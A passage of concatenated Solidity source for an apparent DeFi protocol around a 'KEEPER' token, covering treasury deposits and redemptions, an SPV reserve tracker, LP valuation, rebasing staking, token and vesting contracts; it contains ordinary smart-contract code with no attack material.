reserveTokens.length; i++ ) { reserves = reserves.add ( valueOfToken( reserveTokens[ i ], IERC20Extended( reserveTokens[ i ] ).balanceOf( address(this) ) ) ); } for( uint i = 0; i < liquidityTokens.length; i++ ) { reserves = reserves.add ( valueOfToken( liquidityTokens[ i ], IERC20Extended( liquidityTokens[ i ] ).balanceOf( address(this) ) ) ); } for( uint i = 0; i < variableTokens.length; i++ ) { reserves = reserves.add ( valueOfToken( variableTokens[ i ], IERC20Extended( variableTokens[ i ] ).balanceOf( address(this) ) ) ); } reserves = reserves.add( EthToUSD(address(this).balance) ); totalReserves = reserves; reserveLastAudited = block.timestamp; emit ReservesUpdated( reserves ); emit ReservesAudited( reserves ); } /** @notice allow depositing an asset for KEEPER @param _amount uint @param _token address @return send_ uint */ function deposit( uint _amount, address _token, bool _stake ) external returns ( uint send_ ) { require( isReserveToken[ _token ] || isLiquidityToken[ _token ] || isVariableToken[ _token ], "Not accepted" ); IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount ); // uint daoAmount = _amount.mul(daoRatio).div(1e4); // IERC20Extended( _token ).safeTransfer( DAO, daoAmount ); uint value = valueOfToken(_token, _amount); // uint daoValue = value.mul(daoRatio).div(1e4); // mint KEEPER needed and store amount of rewards for distribution totalReserves = totalReserves.add( value ); send_ = sendOrStake(msg.sender, value, _stake); emit ReservesUpdated( totalReserves ); emit Deposit( _token, _amount, value ); } function depositEth( uint _amount, bool _stake ) external payable returns ( uint send_ ) { require( _amount == msg.value, "Amount should be equal to ETH transferred"); // uint daoAmount = _amount.mul(daoRatio).div(1e4); // safeTransferETH(DAO, daoAmount); uint value = EthToUSD( _amount ); // uint daoValue = value.mul(daoRatio).div(1e4); // mint KEEPER needed and store amount of rewards for distribution totalReserves = totalReserves.add( value ); send_ = sendOrStake(msg.sender, value, _stake); emit ReservesUpdated( totalReserves ); emit DepositEth( _amount, value ); } function sendOrStake(address _recipient, uint _value, bool _stake) internal returns (uint send_) { send_ = _value.mul( 10 ** keeperDecimals ).div( getPrice() ); if ( _stake ) { KEEPER.mint( address(this), send_ ); KEEPER.approve( staking, send_ ); IStaking( staking ).stake( send_, _recipient, false ); } else { KEEPER.mint( _recipient, send_ ); } uint vestingAmount = send_.mul(vestingRatio).div(1e4); KEEPER.mint( vesting, vestingAmount ); } /** @notice allow to burn KEEPER for reserves @param _amount uint of keeper @param _token address */ function sell( uint _amount, address _token ) external { require( isReserveToken[ _token ], "Not accepted" ); // Only reserves can be used for redemptions (uint price, uint premium, uint sellPrice) = sellKeeperBurn(msg.sender, _amount); uint actualPrice = price.sub( premium.mul(stakeRatio).div(1e4) ); uint reserveLoss = _amount.mul( actualPrice ).div( 10 ** keeperDecimals ); uint tokenAmount = reserveLoss.mul( 10 ** IERC20Extended( _token ).decimals() ).div( 10 ** keeperDecimals ); totalReserves = totalReserves.sub( reserveLoss ); emit ReservesUpdated( totalReserves ); uint sellAmount = tokenAmount.mul(sellPrice).div(actualPrice); uint daoAmount = tokenAmount.sub(sellAmount); IERC20Extended(_token).safeTransfer(msg.sender, sellAmount); IERC20Extended(_token).safeTransfer(DAO, daoAmount); emit Sell( _token, _amount, sellPrice ); } function sellEth( uint _amount ) external { (uint price, uint premium, uint sellPrice) = sellKeeperBurn(msg.sender, _amount); uint actualPrice = price.sub( premium.mul(stakeRatio).div(1e4) ); uint reserveLoss = _amount.mul( actualPrice ).div( 10 ** keeperDecimals ); uint tokenAmount = reserveLoss.mul(10 ** 18).div( ethAssetPrice() ); totalReserves = totalReserves.sub( reserveLoss ); emit ReservesUpdated( totalReserves ); uint sellAmount = tokenAmount.mul(sellPrice).div(actualPrice); uint daoAmount = tokenAmount.sub(sellAmount); safeTransferETH(msg.sender, sellAmount); safeTransferETH(DAO, daoAmount); emit SellEth( _amount, sellPrice ); } function sellKeeperBurn(address _sender, uint _amount) internal returns (uint price, uint premium, uint sellPrice) { price = getPrice(); premium = getPremium(price); sellPrice = price.sub(premium); KEEPER.burnFrom( _sender, _amount ); keeperSold = keeperSold.add( _amount ); uint stakeRewards = _amount.mul(stakeRatio).mul(premium).div(price).div(1e4); KEEPER.mint( address(this), stakeRewards ); KEEPER.approve( staking, stakeRewards ); IStaking( staking ).addRebaseReward( stakeRewards ); } function unstakeMint(uint _amount) external { require( msg.sender == staking, "Not allowed." ); KEEPER.mint(msg.sender, _amount); } function initDeposit( address _token, uint _amount ) external payable onlyOwner() { require( initPrice != 0, "Already initialized" ); uint value; if ( _token == address(0) && msg.value != 0 ) { require( _amount == msg.value, "Amount mismatch" ); value = EthToUSD( _amount ); } else { IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount ); value = valueOfToken(_token, _amount); } totalReserves = totalReserves.add( value ); uint send_ = value.mul( 10 ** keeperDecimals ).div( getPrice() ); KEEPER.mint( msg.sender, send_ ); } /** @notice allow owner multisig to withdraw assets on debt (for safe investments) @param _token address @param _amount uint */ function incurDebt( address _token, uint _amount, bool isEth ) external onlyOwner() { uint value; if ( _token == address(0) && isEth ) { safeTransferETH(msg.sender, _amount); value = EthToUSD( _amount ); } else { IERC20Extended( _token ).safeTransfer( msg.sender, _amount ); value = valueOfToken(_token, _amount); } totalReserves = totalReserves.sub( value ); ownerDebt = ownerDebt.add(value); emit ReservesUpdated( totalReserves ); emit ReservesWithdrawn( msg.sender, _token, _amount ); } function repayDebt( address _token, uint _amount, bool isEth ) external payable onlyOwner() { uint value; if ( isEth ) { require( msg.value == _amount, "Amount mismatch" ); value = EthToUSD( _amount ); } else { require( isReserveToken[ _token ] || isLiquidityToken[ _token ] || isVariableToken[ _token ], "Not accepted" ); IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount ); value = valueOfToken(_token, _amount); } totalReserves = totalReserves.add( value ); if ( value > ownerDebt ) { uint daoProfit = _amount.mul( daoRatio ).mul( value.sub(ownerDebt) ).div( value ).div(1e4); if ( isEth ) { safeTransferETH( DAO, daoProfit ); } else { IERC20Extended( _token ).safeTransfer( DAO, daoProfit ); } value = ownerDebt; } ownerDebt = ownerDebt.sub(value); emit ReservesUpdated( totalReserves ); } function SPVDeposit( address _token, uint _amount ) external { require( isReserveToken[ _token ] || isLiquidityToken[ _token ] || isVariableToken[ _token ], "Not accepted" ); IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount ); uint value = valueOfToken(_token, _amount); totalReserves = totalReserves.add( value ); if ( value > spvDebt ) { value = spvDebt; } spvDebt = spvDebt.sub(value); emit ReservesUpdated( totalReserves ); } function SPVWithdraw( address _token, uint _amount ) external { require( msg.sender == SPV, "Only SPV" ); address SPVWallet = ISPV( SPV ).SPVWallet(); uint value = valueOfToken(_token, _amount); uint totalValue = totalReserves.add( ISPV(SPV).totalValue() ).add( ownerDebt ); require( spvDebt.add(value) < totalValue.mul(spvRatio).div(1e4), "Debt exceeded" ); spvDebt = spvDebt.add(value); totalReserves = totalReserves.sub( value ); emit ReservesUpdated( totalReserves ); IERC20Extended( _token ).safeTransfer( SPVWallet, _amount ); } function DAOWithdraw( address _token, uint _amount, bool isEth ) external { require( msg.sender == DAO, "Only DAO Allowed" ); uint value; if ( _token == address(0) && isEth ) { value = EthToUSD( _amount ); } else { value = valueOfToken(_token, _amount); } uint daoProfit = ISPV( SPV ).totalProfit().mul( daoRatio ).div(1e4); require( daoDebt.add(value) <= daoProfit, "Too much" ); if ( _token == address(0) && isEth ) { safeTransferETH(DAO, _amount); } else { IERC20Extended( _token ).safeTransfer( DAO, _amount ); } totalReserves = totalReserves.sub( value ); daoDebt = daoDebt.add(value); emit ReservesUpdated( totalReserves ); emit ReservesWithdrawn( DAO, _token, _amount ); } /** @notice returns KEEPER valuation of asset @param _token address @param _amount uint @return value_ uint */ function valueOfToken( address _token, uint _amount ) public view returns ( uint value_ ) { if ( isReserveToken[ _token ] ) { // convert amount to match KEEPER decimals value_ = _amount.mul( 10 ** keeperDecimals ).div( 10 ** IERC20Extended( _token ).decimals() ); } else if ( isLiquidityToken[ _token ] ) { value_ = ILPCalculator( lpCalculator[ _token ] ).valuationUSD( _token, _amount ); } else if ( isVariableToken[ _token ] ) { value_ = _amount.mul(variableAssetPrice( priceFeeds[_token].feed, priceFeeds[_token].decimals )).div( 10 ** IERC20Extended( _token ).decimals() ); } } /** @notice verify queue then set boolean in mapping @param _managing MANAGING @param _address address @param _calculatorFeed address @return bool */ function toggle( MANAGING _managing, address _address, address _calculatorFeed, uint decimals ) external onlyOwner() returns ( bool ) { require( _address != address(0) ); bool result; if ( _managing == MANAGING.RESERVETOKEN ) { // 0 if( !listContains( reserveTokens, _address ) ) { reserveTokens.push( _address ); } result = !isReserveToken[ _address ]; isReserveToken[ _address ] = result; } else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 1 if( !listContains( liquidityTokens, _address ) ) { liquidityTokens.push( _address ); } result = !isLiquidityToken[ _address ]; isLiquidityToken[ _address ] = result; lpCalculator[ _address ] = _calculatorFeed; } else if ( _managing == MANAGING.VARIABLETOKEN ) { // 2 if( !listContains( variableTokens, _address ) ) { variableTokens.push( _address ); } result = !isVariableToken[ _address ]; isVariableToken[ _address ] = result; priceFeeds[ _address ] = PriceFeed({ feed: _calculatorFeed, decimals: decimals }); } else return false; emit ChangeActivated( _managing, _address, result ); return true; } /** @notice checks array to ensure against duplicate @param _list address[] @param _token address @return bool */ function listContains( address[] storage _list, address _token ) internal view returns ( bool ) { for( uint i = 0; i < _list.length; i++ ) { if( _list[ i ] == _token ) { return true; } } return false; } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface ILPCalculator { function valuationUSD( address _token, uint _amount ) external view returns ( uint ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.7.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Extended is IERC20 { function decimals() external view returns (uint8); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IKeplerERC20 is IERC20 { function decimals() external view returns (uint8); function mint(address account_, uint256 ammount_) external; function burn(uint256 amount_) external; function burnFrom(address account_, uint256 amount_) external; function vault() external returns (address); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface ISPV { function SPVWallet() external view returns ( address ); function totalValue() external view returns ( uint ); function totalProfit() external view returns ( uint ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IStaking { function stake(uint _amount, address _recipient, bool _wrap) external; function addRebaseReward( uint _amount ) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IStaking.sol"; contract aKeeperRedeem is Ownable { using SafeMath for uint256; IERC20 public KEEPER; IERC20 public aKEEPER; address public staking; uint public multiplier; // multiplier is 4 decimals i.e. 1000 = 0.1 event KeeperRedeemed(address tokenOwner, uint256 amount); constructor(address _aKEEPER, address _KEEPER, address _staking, uint _multiplier) { require( _aKEEPER != address(0) ); require( _KEEPER != address(0) ); require( _multiplier != 0 ); aKEEPER = IERC20(_aKEEPER); KEEPER = IERC20(_KEEPER); staking = _staking; multiplier = _multiplier; // reduce gas fees of migrate-stake by pre-approving large amount KEEPER.approve( staking, 1e25); } function migrate(uint256 amount, bool _stake, bool _wrap) public { aKEEPER.transferFrom(msg.sender, address(this), amount); uint keeperAmount = amount.mul(multiplier).div(1e4); if ( _stake && staking != address( 0 ) ) { IStaking( staking ).stake( keeperAmount, msg.sender, _wrap ); } else { KEEPER.transfer(msg.sender, keeperAmount); } emit KeeperRedeemed(msg.sender, keeperAmount); } function withdraw() external onlyOwner() { uint256 amount = KEEPER.balanceOf(address(this)); KEEPER.transfer(msg.sender, amount); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/AggregateV3Interface.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/IKeplerERC20.sol"; import "./interfaces/ITreasury.sol"; import "./interfaces/IUniswapV2Pair.sol"; contract SPV is Ownable { using SafeERC20 for IERC20Extended; using SafeMath for uint; event TokenAdded( address indexed token, PRICETYPE indexed priceType, uint indexed price ); event TokenPriceUpdate( address indexed token, uint indexed price ); event TokenPriceTypeUpdate( address indexed token, PRICETYPE indexed priceType ); event TokenRemoved( address indexed token ); event ValueAudited( uint indexed total ); event TreasuryWithdrawn( address indexed token, uint indexed amount ); event TreasuryReturned( address indexed token, uint indexed amount ); uint public constant keeperDecimals = 9; enum PRICETYPE { STABLE, CHAINLINK, UNISWAP, MANUAL } struct TokenPrice { address token; PRICETYPE priceType; uint price; // At keeper decimals } TokenPrice[] public tokens; struct ChainlinkPriceFeed { address feed; uint decimals; } mapping( address => ChainlinkPriceFeed ) public chainlinkPriceFeeds; mapping( address => address ) public uniswapPools; // The other token must be a stablecoin address public immutable treasury; address public SPVWallet; uint public totalValue; uint public totalProfit; uint public spvRecordedValue; uint public recordTime; uint public profitInterval; bool public allowUpdate; // False when SPV is transferring funds constructor (address _treasury, address _USDC, address _USDT, address _DAI, address _SPVWallet, uint _profitInterval) { require( _treasury != address(0) ); treasury = _treasury; require( _SPVWallet != address(0) ); SPVWallet = _SPVWallet; tokens.push(TokenPrice({ token: _USDC, priceType: PRICETYPE.STABLE, price: 10 ** keeperDecimals })); tokens.push(TokenPrice({ token: _USDT, priceType: PRICETYPE.STABLE, price: 10 ** keeperDecimals })); tokens.push(TokenPrice({ token: _DAI, priceType: PRICETYPE.STABLE, price: 10 ** keeperDecimals })); recordTime = block.timestamp; require( _profitInterval > 0, "Interval cannot be 0" ); profitInterval = _profitInterval; spvRecordedValue = 0; allowUpdate = true; updateTotalValue(); } function enableUpdates() external onlyOwner() { allowUpdate = true; } function disableUpdates() external onlyOwner() { allowUpdate = false; } function setInterval( uint _profitInterval ) external onlyOwner() { require( _profitInterval > 0, "Interval cannot be 0" ); profitInterval = _profitInterval; } function chainlinkTokenPrice(address _token) public view returns (uint) { ( , int price, , , ) = AggregatorV3Interface( chainlinkPriceFeeds[_token].feed ).latestRoundData(); return uint(price).mul( 10 ** keeperDecimals ).div( 10 ** chainlinkPriceFeeds[_token].decimals ); } function uniswapTokenPrice(address _token) public view returns (uint) { address _pair = uniswapPools[_token]; ( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); uint reserve; address reserveToken; uint tokenAmount; if ( IUniswapV2Pair( _pair ).token0() == _token ) { reserveToken = IUniswapV2Pair( _pair ).token1(); reserve = reserve1; tokenAmount = reserve0; } else { reserveToken = IUniswapV2Pair( _pair ).token0(); reserve = reserve0; tokenAmount = reserve1; } return reserve.mul(10 ** keeperDecimals).mul( 10 ** IERC20Extended(_token).decimals() ).div( tokenAmount ).div( 10 ** IERC20Extended(reserveToken).decimals() ); } function setNewTokenPrice(address _token, PRICETYPE _priceType, address _feedOrPool, uint _decimals, uint _price) internal returns (uint tokenPrice) { if (_priceType == PRICETYPE.STABLE) { tokenPrice = 10 ** keeperDecimals; } else if (_priceType == PRICETYPE.CHAINLINK) { chainlinkPriceFeeds[_token] = ChainlinkPriceFeed({ feed: _feedOrPool, decimals: _decimals }); tokenPrice = chainlinkTokenPrice(_token); } else if (_priceType == PRICETYPE.UNISWAP) { uniswapPools[_token] = _feedOrPool; tokenPrice = uniswapTokenPrice(_token); } else if (_priceType == PRICETYPE.MANUAL) { tokenPrice = _price; } else { tokenPrice = 0; } } function addToken(address _token, PRICETYPE _priceType, address _feedOrPool, uint _decimals, uint _price) external onlyOwner() { uint tokenPrice = setNewTokenPrice(_token, _priceType, _feedOrPool, _decimals, _price); require(tokenPrice > 0, "Token price cannot be 0"); tokens.push(TokenPrice({ token: _token, priceType: _priceType, price: tokenPrice })); updateTotalValue(); emit TokenAdded(_token, _priceType, tokenPrice); } function updateTokenPrice( uint _index, address _token, uint _price ) external onlyOwner() { require( _token == tokens[ _index ].token, "Wrong token" ); require( tokens[ _index ].priceType == PRICETYPE.MANUAL, "Only manual tokens can be updated" ); tokens[ _index ].price = _price; updateTotalValue(); emit TokenPriceUpdate(_token, _price); } function updateTokenPriceType( uint _index, address _token, PRICETYPE _priceType, address _feedOrPool, uint _decimals, uint _price ) external onlyOwner() { require( _token == tokens[ _index ].token, "Wrong token" ); tokens[ _index ].priceType = _priceType; uint tokenPrice = setNewTokenPrice(_token, _priceType, _feedOrPool, _decimals, _price); require(tokenPrice > 0, "Token price cannot be 0"); tokens[ _index ].price = tokenPrice; updateTotalValue(); emit TokenPriceTypeUpdate(_token, _priceType); emit TokenPriceUpdate(_token, tokenPrice); } function removeToken( uint _index, address _token ) external onlyOwner() { require( _token == tokens[ _index ].token, "Wrong token" ); tokens[ _index ] = tokens[tokens.length-1]; tokens.pop(); updateTotalValue(); emit TokenRemoved(_token); } function getTokenBalance( uint _index ) internal view returns (uint) { address _token = tokens[ _index ].token; return IERC20Extended(_token).balanceOf( SPVWallet ).mul(tokens[ _index ].price).div( 10 ** IERC20Extended( _token ).decimals() ); } function auditTotalValue() external { if ( allowUpdate ) { uint newValue; for ( uint i = 0; i < tokens.length; i++ ) { PRICETYPE priceType = tokens[i].priceType; if (priceType == PRICETYPE.CHAINLINK) { tokens[i].price = chainlinkTokenPrice(tokens[i].token); } else if (priceType == PRICETYPE.UNISWAP) { tokens[i].price = uniswapTokenPrice(tokens[i].token); } newValue = newValue.add( getTokenBalance(i) ); } totalValue = newValue; emit ValueAudited(totalValue); } } function calculateProfits() external { require( recordTime.add( profitInterval ) <= block.timestamp, "Not yet" ); require( msg.sender == SPVWallet || msg.sender == ITreasury( treasury ).DAO(), "Not allowed" ); recordTime = block.timestamp; updateTotalValue(); uint currentValue; uint treasuryDebt = ITreasury( treasury ).spvDebt(); if ( treasuryDebt > totalValue ) { currentValue = 0; } else { currentValue = totalValue.sub(treasuryDebt); } if ( currentValue > spvRecordedValue ) { uint profit = currentValue.sub( spvRecordedValue ); spvRecordedValue = currentValue; totalProfit = totalProfit.add(profit); } } function treasuryWithdraw( uint _index, address _token, uint _amount ) external { require( msg.sender == SPVWallet, "Only SPV Wallet allowed" ); require( _token == tokens[ _index ].token, "Wrong token" ); ITreasury( treasury ).SPVWithdraw( _token, _amount ); updateTotalValue(); emit TreasuryWithdrawn( _token, _amount ); } function returnToTreasury( uint _index, address _token, uint _amount ) external { require( _token == tokens[ _index ].token, "Wrong token" ); require( msg.sender == SPVWallet, "Only SPV Wallet can return." ); IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount ); IERC20Extended( _token ).approve( treasury, _amount ); ITreasury( treasury ).SPVDeposit( _token, _amount ); updateTotalValue(); emit TreasuryReturned( _token, _amount ); } function migrateTokens( address newSPV ) external onlyOwner() { for ( uint i = 0; i < tokens.length; i++ ) { address _token = tokens[ i ].token; IERC20Extended(_token).transfer(newSPV, IERC20Extended(_token).balanceOf( address(this) ) ); } safeTransferETH(newSPV, address(this).balance ); } function updateTotalValue() internal { if ( allowUpdate ) { uint newValue; for ( uint i = 0; i < tokens.length; i++ ) { newValue = newValue.add( getTokenBalance(i) ); } totalValue = newValue; } } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface ITreasury { function unstakeMint( uint _amount ) external; function SPVDeposit( address _token, uint _amount ) external; function SPVWithdraw( address _token, uint _amount ) external; function DAO() external view returns ( address ); function spvDebt() external view returns ( uint ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "./IUniswapV2ERC20.sol"; interface IUniswapV2Pair is IUniswapV2ERC20 { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns ( address ); function token1() external view returns ( address ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IUniswapV2ERC20 { function totalSupply() external view returns (uint); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/IUniswapV2ERC20.sol"; import "./interfaces/IUniswapV2Pair.sol"; contract LPCalculator { using SafeMath for uint; address public immutable KEEPER; uint public constant keeperDecimals = 9; constructor ( address _KEEPER ) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; } function getReserve( address _pair ) public view returns ( address reserveToken, uint reserve ) { ( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); if ( IUniswapV2Pair( _pair ).token0() == KEEPER ) { reserve = reserve1; reserveToken = IUniswapV2Pair( _pair ).token1(); } else { reserve = reserve0; reserveToken = IUniswapV2Pair( _pair ).token0(); } } function valuationUSD( address _pair, uint _amount ) external view returns ( uint ) { uint totalSupply = IUniswapV2Pair( _pair ).totalSupply(); ( address reserveToken, uint reserve ) = getReserve( _pair ); return _amount.mul( reserve ).mul(2).mul( 10 ** keeperDecimals ).div( totalSupply ).div( 10 ** IERC20Extended( reserveToken ).decimals() ); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/ITreasury.sol"; contract Staking is Ownable { using SafeMath for uint; using SafeERC20 for IERC20; event Stake( address indexed recipient, uint indexed amount, uint indexed timestamp ); event Unstake( address indexed recipient, uint indexed amount, uint indexed timestamp ); uint public constant keeperDecimals = 9; IERC20 public immutable KEEPER; address public immutable treasury; uint public rate; // 6 decimals. 10000 = 0.01 = 1% uint public INDEX; // keeperDecimals decimals uint public keeperRewards; struct Rebase { uint rebaseRate; // 6 decimals uint totalStaked; uint index; uint timeOccured; } struct Epoch { uint number; uint rebaseInterval; uint nextRebase; } Epoch public epoch; Rebase[] public rebases; // past rebase data mapping(address => uint) public stakers; constructor( address _KEEPER, address _treasury, uint _rate, uint _INDEX, uint _rebaseInterval ) { require( _KEEPER != address(0) ); KEEPER = IERC20(_KEEPER); require( _treasury != address(0) ); treasury = _treasury; require( _rate != 0 ); rate = _rate; require( _INDEX != 0 ); INDEX = _INDEX; require( _rebaseInterval != 0 ); epoch = Epoch({ number: 1, rebaseInterval: _rebaseInterval, nextRebase: block.timestamp.add(_rebaseInterval) }); } function setRate( uint _rate ) external onlyOwner() { require( _rate >= rate.div(2) && _rate <= rate.mul(3).div(2), "Rate change cannot be too sharp." ); rate = _rate; } function stake( uint _amount, address _recipient, bool _wrap ) external { KEEPER.safeTransferFrom( msg.sender, address(this), _amount ); uint _gonsAmount = getGonsAmount( _amount ); stakers[ _recipient ] = stakers[ _recipient ].add( _gonsAmount ); emit Stake( _recipient, _amount, block.timestamp ); rebase(); } function unstake( uint _amount ) external { rebase(); require( _amount <= stakerAmount(msg.sender), "Cannot unstake more than possible." ); if ( _amount > KEEPER.balanceOf( address(this) ) ) { ITreasury(treasury).unstakeMint( _amount.sub(KEEPER.balanceOf( address(this) ) ) ); } uint gonsAmount = getGonsAmount( _amount ); // Handle math precision error if ( gonsAmount > stakers[msg.sender] ) { gonsAmount = stakers[msg.sender]; } stakers[msg.sender] = stakers[ msg.sender ].sub(gonsAmount); KEEPER.safeTransfer( msg.sender, _amount ); emit Unstake( msg.sender, _amount, block.timestamp ); } function rebase() public { if (epoch.nextRebase <= block.timestamp) { uint rebasingRate = rebaseRate(); INDEX = INDEX.add( INDEX.mul( rebasingRate ).div(1e6) ); epoch.nextRebase = epoch.nextRebase.add(epoch.rebaseInterval); epoch.number++; keeperRewards = 0; rebases.push( Rebase({ rebaseRate: rebasingRate, totalStaked: KEEPER.balanceOf( address(this) ), index: INDEX, timeOccured: block.timestamp }) ); } } function stakerAmount( address _recipient ) public view returns (uint) { return getKeeperAmount(stakers[ _recipient ]); } function rebaseRate() public view returns (uint) { uint keeperBalance = KEEPER.balanceOf( address(this) ); if (keeperBalance == 0) { return rate; } else { return rate.add( keeperRewards.mul(1e6).div( KEEPER.balanceOf( address(this) ) ) ); } } function addRebaseReward( uint _amount ) external { KEEPER.safeTransferFrom( msg.sender, address(this), _amount ); keeperRewards = keeperRewards.add( _amount ); } function getGonsAmount( uint _amount ) internal view returns (uint) { return _amount.mul(10 ** keeperDecimals).div(INDEX); } function getKeeperAmount( uint _gons ) internal view returns (uint) { return _gons.mul(INDEX).div(10 ** keeperDecimals); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; contract VaultOwned is Ownable { address internal _vault; function setVault(address vault_) external onlyOwner() returns (bool) { _vault = vault_; return true; } function vault() public view returns (address) { return _vault; } modifier onlyVault() { require(_vault == msg.sender, "VaultOwned: caller is not the Vault"); _; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./types/VaultOwned.sol"; contract MockKeplerERC20 is ERC20, VaultOwned { using SafeMath for uint256; constructor() ERC20("Keeper", "KEEPER") { _setupDecimals(9); } function mint(address account_, uint256 amount_) external { _mint(account_, amount_); } function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) public virtual { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) public virtual { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub( amount_, "ERC20: burn amount exceeds allowance" ); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./types/VaultOwned.sol"; contract KeplerERC20 is ERC20, VaultOwned { using SafeMath for uint256; constructor() ERC20("Keeper", "KEEPER") { _setupDecimals(9); } function mint(address account_, uint256 amount_) external onlyVault() { _mint(account_, amount_); } function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) public virtual { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) public virtual { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub( amount_, "ERC20: burn amount exceeds allowance" ); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract KeeperVesting is Ownable { using SafeMath for uint; using SafeERC20 for IERC20; IERC20 public immutable KEEPER; event KeeperRedeemed(address redeemer, uint amount); struct Term { uint percent; // 6 decimals % ( 5000 = 0.5% = 0.005 ) uint claimed; } mapping(address => Term) public terms; mapping(address => address) public walletChange; // uint public totalRedeemable; // uint public redeemableLastUpdated; uint public totalRedeemed; // address public redeemUpdater; constructor( address _KEEPER ) { require( _KEEPER != address(0) ); KEEPER = IERC20(_KEEPER); // redeemUpdater = _redeemUpdater; // redeemableLastUpdated = block.timestamp; } // function setRedeemUpdater(address _redeemUpdater) external onlyOwner() { // require( _redeemUpdater != address(0) ); // redeemUpdater = _redeemUpdater; // } // Sets terms for a new wallet function setTerms(address _vester, uint _percent ) external onlyOwner() returns ( bool ) { terms[_vester].percent = _percent; return true; } // Sets terms for multiple wallets function setTermsMultiple(address[] calldata _vesters, uint[] calldata _percents ) external onlyOwner() returns ( bool ) { for (uint i=0; i < _vesters.length; i++) { terms[_vesters[i]].percent = _percents[i]; } return true; } // function updateTotalRedeemable() external { // require( msg.sender == redeemUpdater, "Only redeem updater can call." ); // uint keeperBalance = KEEPER.balanceOf( address(this) ); // uint newRedeemable = keeperBalance.add(totalRedeemed).mul(block.timestamp.sub(redeemableLastUpdated)).div(31536000); // totalRedeemable = totalRedeemable.add(newRedeemable); // if (totalRedeemable > keeperBalance ) { // totalRedeemable = keeperBalance; // } // redeemableLastUpdated = block.timestamp; // } // Allows wallet to redeem KEEPER function redeem( uint _amount ) external returns ( bool ) { Term memory info = terms[ msg.sender ]; require( redeemable( info ) >= _amount, 'Not enough vested' ); KEEPER.safeTransfer(msg.sender, _amount); terms[ msg.sender ].claimed = info.claimed.add( _amount ); totalRedeemed = totalRedeemed.add(_amount); emit KeeperRedeemed(msg.sender, _amount); return true; } // Allows wallet owner to transfer rights to a new address function pushWalletChange( address _newWallet ) external returns ( bool ) { require( terms[ msg.sender ].percent != 0 ); walletChange[ msg.sender ] = _newWallet; return true; } // Allows wallet to pull rights from an old address function 